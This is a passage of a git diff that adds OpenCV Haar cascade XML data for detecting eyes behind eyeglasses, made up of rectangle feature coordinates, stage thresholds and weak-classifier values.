+ <_> + 17 16 1 2 -1. + <_> + 17 17 1 1 2. + <_> + + <_> + 8 5 5 4 -1. + <_> + 8 7 5 2 2. + <_> + + <_> + 11 6 4 2 -1. + <_> + 11 7 4 1 2. + <_> + + <_> + 3 4 8 2 -1. + <_> + 3 4 4 1 2. + <_> + 7 5 4 1 2. + <_> + + <_> + 0 8 6 6 -1. + <_> + 2 8 2 6 3. + <_> + + <_> + 7 4 6 2 -1. + <_> + 7 5 6 1 2. + <_> + + <_> + 7 3 6 3 -1. + <_> + 9 3 2 3 3. + <_> + + <_> + 2 17 3 3 -1. + <_> + 2 18 3 1 3. + <_> + + <_> + 3 10 6 1 -1. + <_> + 5 10 2 1 3. + <_> + + <_> + 7 2 6 2 -1. + <_> + 9 2 2 2 3. + <_> + + <_> + 4 11 9 1 -1. + <_> + 7 11 3 1 3. + <_> + + <_> + 7 7 11 12 -1. + <_> + 7 13 11 6 2. + <_> + + <_> + 3 2 3 4 -1. + <_> + 4 2 1 4 3. + <_> + + <_> + 9 7 9 3 -1. + <_> + 12 7 3 3 3. + <_> + + <_> + 15 11 2 6 -1. + <_> + 15 11 1 3 2. + <_> + 16 14 1 3 2. + <_> + + <_> + 0 5 5 3 -1. + <_> + 0 6 5 1 3. + <_> + + <_> + 8 1 6 12 -1. + <_> + 10 1 2 12 3. + <_> + + <_> + 3 7 15 13 -1. + <_> + 8 7 5 13 3. + <_> + + <_> + 0 9 9 9 -1. + <_> + 0 12 9 3 3. + <_> + + <_> + 16 0 3 8 -1. + <_> + 17 0 1 8 3. + <_> + + <_> + 16 2 4 2 -1. + <_> + 18 2 2 2 2. + <_> + + <_> + 13 0 6 5 -1. + <_> + 16 0 3 5 2. + <_> + + <_> + 15 1 3 2 -1. + <_> + 16 1 1 2 3. + <_> + + <_> + 11 8 3 2 -1. + <_> + 12 8 1 2 3. + <_> + + <_> + 1 8 2 12 -1. + <_> + 1 8 1 6 2. + <_> + 2 14 1 6 2. + <_> + + <_> + 0 1 6 12 -1. + <_> + 2 1 2 12 3. + <_> + + <_> + 19 17 1 3 -1. + <_> + 19 18 1 1 3. + <_> + + <_> + 11 3 3 10 -1. + <_> + 12 3 1 10 3. + <_> + + <_> + 8 1 9 8 -1. + <_> + 11 1 3 8 3. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 16 1 1 2. + <_> + 19 17 1 1 2. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 16 1 1 2. + <_> + 19 17 1 1 2. + <_> + + <_> + 6 13 2 6 -1. + <_> + 6 15 2 2 3. + <_> + + <_> + 9 14 2 2 -1. + <_> + 9 15 2 1 2. + <_> + + <_> + 14 10 2 4 -1. + <_> + 14 10 1 2 2. + <_> + 15 12 1 2 2. + <_> + + <_> + 0 15 2 2 -1. + <_> + 0 15 1 1 2. + <_> + 1 16 1 1 2. + <_> + + <_> + 6 7 2 2 -1. + <_> + 6 7 1 1 2. + <_> + 7 8 1 1 2. + <_> + + <_> + 11 18 2 2 -1. + <_> + 11 18 1 1 2. + <_> + 12 19 1 1 2. + <_> + + <_> + 0 0 6 4 -1. + <_> + 0 0 3 2 2. + <_> + 3 2 3 2 2. + <_> + + <_> + 4 1 6 6 -1. + <_> + 6 1 2 6 3. + <_> + + <_> + 15 13 5 4 -1. + <_> + 15 15 5 2 2. + <_> + + <_> + 7 17 6 1 -1. + <_> + 9 17 2 1 3. + <_> + + <_> + 16 19 4 1 -1. + <_> + 18 19 2 1 2. + <_> + + <_> + 16 16 4 4 -1. + <_> + 18 16 2 4 2. + <_> + + <_> + 7 8 9 4 -1. + <_> + 10 8 3 4 3. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 2 9 2 4 -1. + <_> + 2 9 1 2 2. + <_> + 3 11 1 2 2. + <_> + + <_> + 0 3 8 4 -1. + <_> + 0 3 4 2 2. + <_> + 4 5 4 2 2. + <_> + + <_> + 0 1 8 1 -1. + <_> + 4 1 4 1 2. + <_> + + <_> + 0 5 8 9 -1. + <_> + 4 5 4 9 2. + <_> + + <_> + 7 18 6 2 -1. + <_> + 9 18 2 2 3. + <_> + + <_> + 0 4 1 12 -1. + <_> + 0 8 1 4 3. + <_> + + <_> + 19 13 1 6 -1. + <_> + 19 15 1 2 3. + <_> + + <_> + 2 8 6 8 -1. + <_> + 4 8 2 8 3. + <_> + + <_> + 0 0 9 17 -1. + <_> + 3 0 3 17 3. + <_> + + <_> + 7 9 6 8 -1. + <_> + 9 9 2 8 3. + <_> + + <_> + 5 10 9 4 -1. + <_> + 8 10 3 4 3. + <_> + + <_> + 5 0 8 3 -1. + <_> + 5 1 8 1 3. + <_> + + <_> + 16 6 4 4 -1. + <_> + 16 6 2 2 2. + <_> + 18 8 2 2 2. + <_> + + <_> + 17 4 2 8 -1. + <_> + 17 4 1 4 2. + <_> + 18 8 1 4 2. + <_> + + <_> + 2 16 1 3 -1. + <_> + 2 17 1 1 3. + <_> + + <_> + 2 16 1 3 -1. + <_> + 2 17 1 1 3. + <_> + + <_> + 11 0 1 3 -1. + <_> + 11 1 1 1 3. + <_> + + <_> + 11 2 9 7 -1. + <_> + 14 2 3 7 3. + <_> + + <_> + 10 2 3 6 -1. + <_> + 11 2 1 6 3. + <_> + + <_> + 5 9 15 2 -1. + <_> + 5 10 15 1 2. + <_> + + <_> + 8 16 6 2 -1. + <_> + 8 17 6 1 2. + <_> + + <_> + 9 16 10 2 -1. + <_> + 9 16 5 1 2. + <_> + 14 17 5 1 2. + <_> + + <_> + 9 17 2 2 -1. + <_> + 9 17 1 1 2. + <_> + 10 18 1 1 2. + <_> + + <_> + 10 15 6 4 -1. + <_> + 10 15 3 2 2. + <_> + 13 17 3 2 2. + <_> + + <_> + 4 5 15 12 -1. + <_> + 9 5 5 12 3. + <_> + + <_> + 11 13 2 3 -1. + <_> + 11 14 2 1 3. + <_> + + <_> + 8 13 7 3 -1. + <_> + 8 14 7 1 3. + <_> + + <_> + 1 12 1 2 -1. + <_> + 1 13 1 1 2. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 1 19 18 1 -1. + <_> + 7 19 6 1 3. + <_> + + <_> + 1 17 6 1 -1. + <_> + 4 17 3 1 2. + <_> + + <_> + 1 3 1 12 -1. + <_> + 1 9 1 6 2. + <_> + + <_> + 0 9 3 6 -1. + <_> + 0 11 3 2 3. + <_> + + <_> + 5 4 3 10 -1. + <_> + 6 4 1 10 3. + <_> + + <_> + 6 17 2 1 -1. + <_> + 7 17 1 1 2. + <_> + + <_> + 1 0 6 12 -1. + <_> + 3 0 2 12 3. + <_> + + <_> + 4 7 9 2 -1. + <_> + 7 7 3 2 3. + <_> + + <_> + 6 11 9 1 -1. + <_> + 9 11 3 1 3. + <_> + + <_> + 17 10 2 10 -1. + <_> + 17 15 2 5 2. + <_> + + <_> + 4 10 2 10 -1. + <_> + 4 10 1 5 2. + <_> + 5 15 1 5 2. + <_> + + <_> + 12 3 3 12 -1. + <_> + 13 3 1 12 3. + <_> + + <_> + 15 3 4 6 -1. + <_> + 15 3 2 3 2. + <_> + 17 6 2 3 2. + <_> + + <_> + 12 8 3 3 -1. + <_> + 13 8 1 3 3. + <_> + + <_> + 4 14 2 4 -1. + <_> + 4 16 2 2 2. + <_> + + <_> + 6 16 1 3 -1. + <_> + 6 17 1 1 3. + <_> + + <_> + 1 1 2 3 -1. + <_> + 2 1 1 3 2. + <_> + + <_> + 0 2 4 1 -1. + <_> + 2 2 2 1 2. + <_> + + <_> + 8 17 12 3 -1. + <_> + 12 17 4 3 3. + <_> + + <_> + 9 16 6 4 -1. + <_> + 11 16 2 4 3. + <_> + + <_> + 4 6 3 6 -1. + <_> + 4 9 3 3 2. + <_> + + <_> + 6 2 12 9 -1. + <_> + 6 5 12 3 3. + <_> + + <_> + 6 0 14 20 -1. + <_> + 6 0 7 10 2. + <_> + 13 10 7 10 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 19 8 1 3 -1. + <_> + 19 9 1 1 3. + <_> + + <_> + 13 4 1 2 -1. + <_> + 13 5 1 1 2. + <_> + + <_> + 0 4 4 2 -1. + <_> + 0 5 4 1 2. + <_> + + <_> + 19 5 1 6 -1. + <_> + 19 7 1 2 3. + <_> + + <_> + 16 0 2 1 -1. + <_> + 17 0 1 1 2. + <_> + + <_> + 13 1 1 3 -1. + <_> + 13 2 1 1 3. + <_> + + <_> + 17 17 1 3 -1. + <_> + 17 18 1 1 3. + <_> + + <_> + 5 4 8 8 -1. + <_> + 5 4 4 4 2. + <_> + 9 8 4 4 2. + <_> + + <_> + 1 2 2 2 -1. + <_> + 1 2 1 1 2. + <_> + 2 3 1 1 2. + <_> + + <_> + 0 0 8 6 -1. + <_> + 0 0 4 3 2. + <_> + 4 3 4 3 2. + <_> + + <_> + 6 3 4 2 -1. + <_> + 6 4 4 1 2. + <_> + + <_> + 1 0 3 3 -1. + <_> + 1 1 3 1 3. + <_> + + <_> + 6 1 7 2 -1. + <_> + 6 2 7 1 2. + <_> + + <_> + 2 6 12 6 -1. + <_> + 6 6 4 6 3. + <_> + + <_> + 1 16 9 2 -1. + <_> + 4 16 3 2 3. + <_> + + <_> + 7 15 6 4 -1. + <_> + 9 15 2 4 3. + <_> + + <_> + 6 15 12 1 -1. + <_> + 12 15 6 1 2. + <_> + + <_> + 17 17 1 3 -1. + <_> + 17 18 1 1 3. + <_> + + <_> + 17 15 2 2 -1. + <_> + 17 15 1 1 2. + <_> + 18 16 1 1 2. + <_> + + <_> + 3 13 3 3 -1. + <_> + 3 14 3 1 3. + <_> + + <_> + 10 17 1 3 -1. + <_> + 10 18 1 1 3. + <_> + + <_> + 4 0 14 8 -1. + <_> + 11 0 7 8 2. + <_> + + <_> + 2 0 12 2 -1. + <_> + 6 0 4 2 3. + <_> + + <_> + 2 0 4 3 -1. + <_> + 4 0 2 3 2. + <_> + + <_> + 13 1 1 2 -1. + <_> + 13 2 1 1 2. + <_> + + <_> + 7 5 3 6 -1. + <_> + 8 5 1 6 3. + <_> + + <_> + 18 2 2 2 -1. + <_> + 18 2 1 1 2. + <_> + 19 3 1 1 2. + <_> + + <_> + 15 1 2 14 -1. + <_> + 16 1 1 14 2. + <_> + + <_> + 15 6 2 2 -1. + <_> + 15 6 1 1 2. + <_> + 16 7 1 1 2. + <_> + + <_> + 3 1 6 3 -1. + <_> + 5 1 2 3 3. + <_> + + <_> + 7 16 2 2 -1. + <_> + 7 16 1 1 2. + <_> + 8 17 1 1 2. + <_> + + <_> + 5 17 2 2 -1. + <_> + 5 17 1 1 2. + <_> + 6 18 1 1 2. + <_> + + <_> + 9 10 6 10 -1. + <_> + 11 10 2 10 3. + <_> + + <_> + 10 17 6 3 -1. + <_> + 12 17 2 3 3. + <_> + + <_> + 14 5 2 10 -1. + <_> + 14 10 2 5 2. + <_> + + <_> + 11 12 6 2 -1. + <_> + 11 13 6 1 2. + <_> + + <_> + 8 1 1 3 -1. + <_> + 8 2 1 1 3. + <_> + + <_> + 12 15 2 2 -1. + <_> + 12 15 1 1 2. + <_> + 13 16 1 1 2. + <_> + + <_> + 6 8 6 4 -1. + <_> + 6 8 3 2 2. + <_> + 9 10 3 2 2. + <_> + + <_> + 7 5 3 5 -1. + <_> + 8 5 1 5 3. + <_> + + <_> + 0 5 7 3 -1. + <_> + 0 6 7 1 3. + <_> + + <_> + 7 9 6 6 -1. + <_> + 9 9 2 6 3. + <_> + + <_> + 5 7 8 8 -1. + <_> + 5 11 8 4 2. + <_> + + <_> + 4 9 2 6 -1. + <_> + 4 9 1 3 2. + <_> + 5 12 1 3 2. + <_> + + <_> + 10 11 6 1 -1. + <_> + 12 11 2 1 3. + <_> + + <_> + 13 6 6 11 -1. + <_> + 15 6 2 11 3. + <_> + + <_> + 8 17 2 2 -1. + <_> + 8 17 1 1 2. + <_> + 9 18 1 1 2. + <_> + + <_> + 4 12 12 1 -1. + <_> + 8 12 4 1 3. + <_> + + <_> + 11 17 3 2 -1. + <_> + 11 18 3 1 2. + <_> + + <_> + 8 17 6 1 -1. + <_> + 10 17 2 1 3. + <_> + + <_> + 4 1 14 6 -1. + <_> + 4 3 14 2 3. + <_> + + <_> + 14 2 2 12 -1. + <_> + 14 8 2 6 2. + <_> + + <_> + 12 13 3 2 -1. + <_> + 12 14 3 1 2. + <_> + + <_> + 6 1 6 1 -1. + <_> + 8 1 2 1 3. + <_> + + <_> + 10 6 6 1 -1. + <_> + 12 6 2 1 3. + <_> + + <_> + 3 19 2 1 -1. + <_> + 4 19 1 1 2. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 16 1 1 2. + <_> + 19 17 1 1 2. + <_> + + <_> + 16 11 3 7 -1. + <_> + 17 11 1 7 3. + <_> + + <_> + 19 5 1 6 -1. + <_> + 19 8 1 3 2. + <_> + + <_> + 9 8 4 3 -1. + <_> + 9 9 4 1 3. + <_> + + <_> + 16 8 4 4 -1. + <_> + 16 8 2 2 2. + <_> + 18 10 2 2 2. + <_> + + <_> + 2 8 2 2 -1. + <_> + 2 8 1 1 2. + <_> + 3 9 1 1 2. + <_> + + <_> + 3 5 6 4 -1. + <_> + 3 5 3 2 2. + <_> + 6 7 3 2 2. + <_> + + <_> + 2 3 8 16 -1. + <_> + 2 3 4 8 2. + <_> + 6 11 4 8 2. + <_> + + <_> + 17 17 1 3 -1. + <_> + 17 18 1 1 3. + <_> + + <_> + 7 2 8 11 -1. + <_> + 11 2 4 11 2. + <_> + + <_> + 13 3 6 14 -1. + <_> + 16 3 3 14 2. + <_> + + <_> + 0 9 18 2 -1. + <_> + 6 9 6 2 3. + <_> + + <_> + 6 10 14 3 -1. + <_> + 6 11 14 1 3. + <_> + + <_> + 10 9 9 3 -1. + <_> + 13 9 3 3 3. + <_> + + <_> + 3 5 4 6 -1. + <_> + 3 5 2 3 2. + <_> + 5 8 2 3 2. + <_> + + <_> + 3 7 3 7 -1. + <_> + 4 7 1 7 3. + <_> + + <_> + 2 8 11 6 -1. + <_> + 2 10 11 2 3. + <_> + + <_> + 8 9 6 3 -1. + <_> + 8 10 6 1 3. + <_> + + <_> + 3 3 3 11 -1. + <_> + 4 3 1 11 3. + <_> + + <_> + 0 19 6 1 -1. + <_> + 3 19 3 1 2. + <_> + + <_> + 18 18 1 2 -1. + <_> + 18 19 1 1 2. + <_> + + <_> + 8 0 12 6 -1. + <_> + 8 0 6 3 2. + <_> + 14 3 6 3 2. + <_> + + <_> + 19 5 1 3 -1. + <_> + 19 6 1 1 3. + <_> + + <_> + 5 8 2 1 -1. + <_> + 6 8 1 1 2. + <_> + + <_> + 13 11 2 1 -1. + <_> + 14 11 1 1 2. + <_> + + <_> + 3 6 15 13 -1. + <_> + 8 6 5 13 3. + <_> + + <_> + 4 3 6 2 -1. + <_> + 6 3 2 2 3. + <_> + + <_> + 0 18 1 2 -1. + <_> + 0 19 1 1 2. + <_> + + <_> + 7 8 2 6 -1. + <_> + 8 8 1 6 2. + <_> + + <_> + 3 0 6 19 -1. + <_> + 5 0 2 19 3. + <_> + + <_> + 3 1 6 5 -1. + <_> + 5 1 2 5 3. + <_> + + <_> + 17 14 3 6 -1. + <_> + 17 16 3 2 3. + <_> + + <_> + 17 13 2 6 -1. + <_> + 18 13 1 6 2. + <_> + + <_> + 17 18 2 2 -1. + <_> + 18 18 1 2 2. + <_> + + <_> + 11 14 9 4 -1. + <_> + 14 14 3 4 3. + <_> + + <_> + 15 8 4 6 -1. + <_> + 15 8 2 3 2. + <_> + 17 11 2 3 2. + <_> + + <_> + 1 16 1 3 -1. + <_> + 1 17 1 1 3. + <_> + + <_> + 7 0 3 14 -1. + <_> + 8 0 1 14 3. + <_> + + <_> + 12 0 2 1 -1. + <_> + 13 0 1 1 2. + <_> + + <_> + 7 9 6 5 -1. + <_> + 10 9 3 5 2. + <_> + + <_> + 15 5 4 9 -1. + <_> + 17 5 2 9 2. + <_> + + <_> + 11 0 6 6 -1. + <_> + 13 0 2 6 3. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 15 1 1 2. + <_> + 17 16 1 1 2. + <_> + + <_> + 13 2 2 18 -1. + <_> + 13 11 2 9 2. + <_> + + <_> + 8 4 8 10 -1. + <_> + 8 9 8 5 2. + <_> + + <_> + 8 3 2 3 -1. + <_> + 8 4 2 1 3. + <_> + + <_> + 11 1 6 9 -1. + <_> + 11 4 6 3 3. + <_> + + <_> + 15 4 5 6 -1. + <_> + 15 6 5 2 3. + <_> + + <_> + 12 18 2 2 -1. + <_> + 12 18 1 1 2. + <_> + 13 19 1 1 2. + <_> + + <_> + 1 17 1 3 -1. + <_> + 1 18 1 1 3. + <_> + + <_> + 12 19 2 1 -1. + <_> + 13 19 1 1 2. + <_> + + <_> + 8 10 6 6 -1. + <_> + 10 10 2 6 3. + <_> + + <_> + 14 2 6 5 -1. + <_> + 16 2 2 5 3. + <_> + + <_> + 9 5 2 6 -1. + <_> + 9 7 2 2 3. + <_> + + <_> + 1 15 2 2 -1. + <_> + 2 15 1 2 2. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 10 14 4 6 -1. + <_> + 10 16 4 2 3. + <_> + + <_> + 9 7 3 2 -1. + <_> + 10 7 1 2 3. + <_> + + <_> + 6 9 6 2 -1. + <_> + 6 9 3 1 2. + <_> + 9 10 3 1 2. + <_> + + <_> + 0 2 1 12 -1. + <_> + 0 6 1 4 3. + <_> + + <_> + 4 0 15 1 -1. + <_> + 9 0 5 1 3. + <_> + + <_> + 9 0 8 2 -1. + <_> + 9 0 4 1 2. + <_> + 13 1 4 1 2. + <_> + + <_> + 12 2 8 1 -1. + <_> + 16 2 4 1 2. + <_> + + <_> + 7 1 10 6 -1. + <_> + 7 3 10 2 3. + <_> + + <_> + 18 6 2 3 -1. + <_> + 18 7 2 1 3. + <_> + + <_> + 4 12 2 2 -1. + <_> + 4 12 1 1 2. + <_> + 5 13 1 1 2. + <_> + + <_> + 6 6 6 2 -1. + <_> + 8 6 2 2 3. + <_> + + <_> + 0 9 9 6 -1. + <_> + 3 9 3 6 3. + <_> + + <_> + 17 18 2 2 -1. + <_> + 18 18 1 2 2. + <_> + + <_> + 11 2 6 16 -1. + <_> + 13 2 2 16 3. + <_> + + <_> + 2 4 15 13 -1. + <_> + 7 4 5 13 3. + <_> + + <_> + 16 2 3 10 -1. + <_> + 17 2 1 10 3. + <_> + + <_> + 6 10 2 1 -1. + <_> + 7 10 1 1 2. + <_> + + <_> + 1 1 18 16 -1. + <_> + 10 1 9 16 2. + <_> + + <_> + 14 4 3 15 -1. + <_> + 15 4 1 15 3. + <_> + + <_> + 19 13 1 2 -1. + <_> + 19 14 1 1 2. + <_> + + <_> + 2 6 5 8 -1. + <_> + 2 10 5 4 2. + diff --git a/libs/haarcascade_eye_tree_eyeglasses.xml b/libs/haarcascade_eye_tree_eyeglasses.xml new file mode 100644 index 00000000000..6813d243c77 --- /dev/null +++ b/libs/haarcascade_eye_tree_eyeglasses.xml @@ -0,0 +1,22619 @@ + + + +BOOST + HAAR + 20 + 20 + + 47 + + 0 + 30 + + <_> + 5 + -1.6473180055618286e+00 + + <_> + + 2 1 0 -2.6987109333276749e-02 0 -1 1 5.0670530647039413e-02 + -2 -3 2 -1.2915390729904175e-01 + + -8.0395472049713135e-01 6.0491400957107544e-01 + 9.0544581413269043e-01 4.4070810079574585e-02 + <_> + + 2 1 3 8.8827736675739288e-02 0 -1 4 -2.0398240536451340e-02 + -2 -3 5 -6.1261758208274841e-02 + + 7.9218882322311401e-01 4.0692299604415894e-02 + 4.2585361003875732e-01 -7.0325207710266113e-01 + <_> + + 2 1 6 -2.0490810275077820e-01 0 -1 7 9.4933047890663147e-02 + -2 -3 8 1.2091030366718769e-03 + + -4.4017648696899414e-01 5.3640520572662354e-01 + 6.8776458501815796e-01 -5.5879348516464233e-01 + <_> + + 1 0 9 9.2227972345426679e-04 -1 2 10 -7.2678289143368602e-04 + -2 -3 11 6.8421510513871908e-04 + + -7.2684401273727417e-01 -5.8028000593185425e-01 + 5.6177532672882080e-01 -2.9834181070327759e-01 + <_> + + 0 1 12 -5.1150590181350708e-02 2 -1 13 + 6.1622060835361481e-02 -2 -3 14 7.2873473167419434e-02 + + 5.9840762615203857e-01 7.4743932485580444e-01 + -4.9703779816627502e-01 2.8129258751869202e-01 + <_> + 7 + -1.4257860183715820e+00 + + <_> + + 2 1 15 -4.1994878649711609e-01 0 -1 16 + -5.6186288595199585e-02 -2 -3 17 -2.3711109533905983e-02 + + 2.7586200833320618e-01 -6.4623218774795532e-01 + 8.5241252183914185e-01 8.3703370764851570e-03 + <_> + + 1 0 18 4.0523439645767212e-02 -1 2 19 2.7388900518417358e-01 + -2 -3 20 -1.4293800108134747e-02 + + 7.4270218610763550e-01 -4.9286690354347229e-01 + 7.1784788370132446e-01 -4.2223978787660599e-02 + <_> + + 0 1 21 -2.1144729107618332e-03 2 -1 22 + 1.0659949621185660e-03 -2 -3 23 1.0812469990924001e-03 + + -8.0196601152420044e-01 -6.6025912761688232e-01 + 4.7916370630264282e-01 -5.1645290851593018e-01 + <_> + + 1 0 24 3.0198289081454277e-02 2 -1 25 4.0569551289081573e-02 + -2 -3 26 7.0679739117622375e-02 + + 5.1327562332153320e-01 6.6641497611999512e-01 + -4.5298659801483154e-01 5.5480718612670898e-01 + <_> + + 0 1 27 -7.8928138827905059e-04 2 -1 28 + 8.0574717139825225e-04 -2 -3 29 -2.0976560190320015e-02 + + -7.2526299953460693e-01 -5.6479871273040771e-01 + 6.9993537664413452e-01 6.8500466644763947e-02 + <_> + + 1 0 30 1.2794960290193558e-02 -1 2 31 + -8.1120636314153671e-03 -2 -3 32 -1.5506530180573463e-02 + + -8.6409568786621094e-01 4.4448360800743103e-01 + 3.6675310134887695e-01 -2.9189071059226990e-01 + <_> + + 2 1 33 -1.2915650382637978e-02 0 -1 34 + 6.6297221928834915e-03 -2 -3 35 -3.6532930098474026e-03 + + -4.7566780447959900e-01 1.0350350290536880e-01 + -6.1723059415817261e-01 5.4382532835006714e-01 + <_> + 9 + -1.4711019992828369e+00 + + <_> + + 0 1 36 -7.8731971979141235e-01 -1 2 37 + 1.6908009350299835e-01 -2 -3 38 -4.0369689464569092e-02 + + 7.1268838644027710e-01 -7.1908998489379883e-01 + 4.4148930907249451e-01 -4.2251929640769958e-01 + <_> + + 1 0 39 1.9132360816001892e-02 2 -1 40 6.4184539951384068e-04 + -2 -3 41 -7.8941037645563483e-04 + + 6.9186228513717651e-01 -7.6116967201232910e-01 + -6.8140429258346558e-01 1.6009919345378876e-01 + <_> + + 1 2 42 -7.1503049694001675e-03 0 -1 43 + -2.3156129755079746e-03 -2 -3 44 -4.1521269828081131e-02 + + -5.5916607379913330e-01 5.1284497976303101e-01 + 2.4422569572925568e-01 -4.6883401274681091e-01 + <_> + + 1 0 45 9.1200548922643065e-04 -1 2 46 + -1.5798299573361874e-03 -2 -3 47 -1.1573649942874908e-02 + + -6.9527888298034668e-01 -6.3509649038314819e-01 + 6.4686381816864014e-01 6.9198559504002333e-04 + <_> + + 2 1 48 2.1843519061803818e-03 0 -1 49 2.9345690272748470e-03 + -2 -3 50 -5.8788150548934937e-02 + + 4.5632898807525635e-01 -5.8841437101364136e-01 + 2.6704201102256775e-01 -3.8348990678787231e-01 + <_> + + 0 1 51 -5.5392808280885220e-04 -1 2 52 + -5.3035060409456491e-04 -2 -3 53 -6.8775108084082603e-03 + + -4.8913368582725525e-01 -3.8421550393104553e-01 + 6.6845697164535522e-01 9.3158259987831116e-02 + <_> + + 1 0 54 1.6710379859432578e-03 2 -1 55 1.4162790030241013e-03 + -2 -3 56 7.7876187860965729e-03 + + -6.0369372367858887e-01 -3.0418768525123596e-01 + 3.9699068665504456e-01 -6.6687589883804321e-01 + <_> + + 1 2 57 -1.2916780076920986e-02 0 -1 58 + -3.0156269203871489e-03 -2 -3 59 -1.9785940647125244e-02 + + -7.1239727735519409e-01 4.6252989768981934e-01 + 2.8338319063186646e-01 -3.5317930579185486e-01 + <_> + + 1 0 60 3.3207770902663469e-03 2 -1 61 2.9606239870190620e-02 + -2 -3 62 4.4614788144826889e-02 + + -7.3291397094726562e-01 4.9530759453773499e-01 + -1.9502809643745422e-01 7.9816418886184692e-01 + <_> + 12 + -1.3850779533386230e+00 + + <_> + + 0 1 63 -9.2366141080856323e-01 2 -1 64 + -4.8193939030170441e-02 -2 -3 65 2.8669878840446472e-01 + + 7.6915800571441650e-01 -5.1361227035522461e-01 + -2.9671901464462280e-01 6.2028187513351440e-01 + <_> + + 1 2 66 -1.3038160279393196e-02 0 -1 67 + -1.4749659458175302e-03 -2 -3 68 -4.6921748667955399e-02 + + -7.1294248104095459e-01 5.9115177392959595e-01 + 3.1303560733795166e-01 -3.6749690771102905e-01 + <_> + + 0 1 69 2.4459899868816137e-03 -1 2 70 + -2.5321498978883028e-03 -2 -3 71 1.4651260571554303e-03 + + -4.6930000185966492e-01 -7.7450162172317505e-01 + 3.6414781212806702e-01 -5.7445889711380005e-01 + <_> + + 1 2 72 -1.1307420209050179e-02 0 -1 73 + -1.2048849603161216e-03 -2 -3 74 -6.2752872705459595e-02 + + -5.5727648735046387e-01 4.7871670126914978e-01 + 2.2788530588150024e-01 -4.3667969107627869e-01 + <_> + + 0 1 75 -4.0173111483454704e-03 2 -1 76 + 1.5160309849306941e-03 -2 -3 77 1.9954680465161800e-03 + + -7.3568779230117798e-01 -5.8480697870254517e-01 + 2.1544020622968674e-02 5.5875688791275024e-01 + <_> + + 1 0 78 3.4435209818184376e-03 -1 2 79 + -2.6550020556896925e-03 -2 -3 80 -1.1407690122723579e-02 + + -7.6565897464752197e-01 -6.5447497367858887e-01 + 5.3633081912994385e-01 -3.8849171251058578e-02 + <_> + + 1 2 81 -2.3805440869182348e-03 0 -1 82 + 6.6475258208811283e-03 -2 -3 83 1.4018240571022034e-01 + + 3.3984410762786865e-01 -6.5025091171264648e-01 + -3.2491090893745422e-01 7.5067067146301270e-01 + <_> + + 0 1 84 -6.2358360737562180e-02 2 -1 85 + 1.3628599699586630e-03 -2 -3 86 -4.4609848409891129e-03 + + 4.5777168869972229e-01 -6.3202661275863647e-01 + 4.0597960352897644e-01 -2.0854069292545319e-01 + <_> + + 0 1 87 -1.0046839714050293e-02 2 -1 88 + -2.9274819418787956e-02 -2 -3 89 7.7389390207827091e-03 + + -7.4789828062057495e-01 -1.7995479702949524e-01 + 4.7782841324806213e-01 -6.5113341808319092e-01 + <_> + + 1 0 90 1.4774020528420806e-03 -1 2 91 1.4989820308983326e-02 + -2 -3 92 4.5073241926729679e-03 + + -6.6269898414611816e-01 -1.6695550084114075e-01 + 3.8702058792114258e-01 -7.3409372568130493e-01 + <_> + + 1 0 93 1.4901049435138702e-03 2 -1 94 8.9141662465408444e-04 + -2 -3 95 -1.1558219790458679e-02 + + -3.4280839562416077e-01 -2.8036740422248840e-01 + -4.2523959279060364e-01 4.5259669423103333e-01 + <_> + + 0 1 96 -2.0011950284242630e-02 -1 2 97 + -1.7092300578951836e-02 -2 -3 98 -6.7685171961784363e-02 + + 4.0133118629455566e-01 3.6970010399818420e-01 + 7.4438679218292236e-01 -3.8255840539932251e-01 + <_> + 12 + -1.4432040452957153e+00 + + <_> + + 1 2 99 -2.0911149680614471e-02 0 -1 100 + 1.4305709302425385e-01 -2 -3 101 1.1925029568374157e-02 + + -3.4965568780899048e-01 7.0134562253952026e-01 + -6.0404628515243530e-01 8.5615903139114380e-02 + <_> + + 1 0 102 2.4742009118199348e-02 2 -1 103 + 4.5732118189334869e-02 -2 -3 104 4.3204430490732193e-02 + + 8.5365587472915649e-01 4.1876411437988281e-01 + -3.9094918966293335e-01 2.7387988567352295e-01 + <_> + + 0 1 105 -7.2548422031104565e-04 2 -1 106 + 1.4243220211938024e-03 -2 -3 107 -5.3335479460656643e-03 + + -6.2011122703552246e-01 -6.1589437723159790e-01 + 6.0596448183059692e-01 1.5840480104088783e-02 + <_> + + 1 0 108 -7.1891010738909245e-03 2 -1 109 + 1.8233320442959666e-03 -2 -3 110 1.6109029529616237e-03 + + -2.0852829515933990e-01 -8.1338381767272949e-01 + 5.6780648231506348e-01 -8.7046259641647339e-01 + <_> + + 2 1 111 -4.8350278288125992e-02 0 -1 112 + 3.1746171414852142e-02 -2 -3 113 1.9233829807490110e-03 + + -3.5335820913314819e-01 4.4076570868492126e-01 + 4.0730631351470947e-01 -5.9592568874359131e-01 + <_> + + 1 0 114 1.3614529743790627e-03 -1 2 115 + -3.6934199742972851e-03 -2 -3 116 -8.5378461517393589e-04 + + -5.5307251214981079e-01 -7.3163098096847534e-01 + 4.3890678882598877e-01 -6.3009172677993774e-02 + <_> + + 0 1 117 -1.0950770229101181e-02 -1 2 118 + -7.2186449542641640e-03 -2 -3 119 1.8548289313912392e-02 + + 3.9263078570365906e-01 2.7225250005722046e-01 + -4.1208618879318237e-01 6.3790637254714966e-01 + <_> + + 1 0 120 1.0859060566872358e-03 -1 2 121 + -6.5618362277746201e-03 -2 -3 122 -6.1777420341968536e-02 + + -5.0857210159301758e-01 3.5386729240417480e-01 + 5.7568281888961792e-01 -2.8477248549461365e-01 + <_> + + 1 0 123 4.9480778397992253e-04 2 -1 124 + 1.1606880463659763e-02 -2 -3 125 -1.6142609529197216e-03 + + -4.9583891034126282e-01 -5.1320201158523560e-01 + 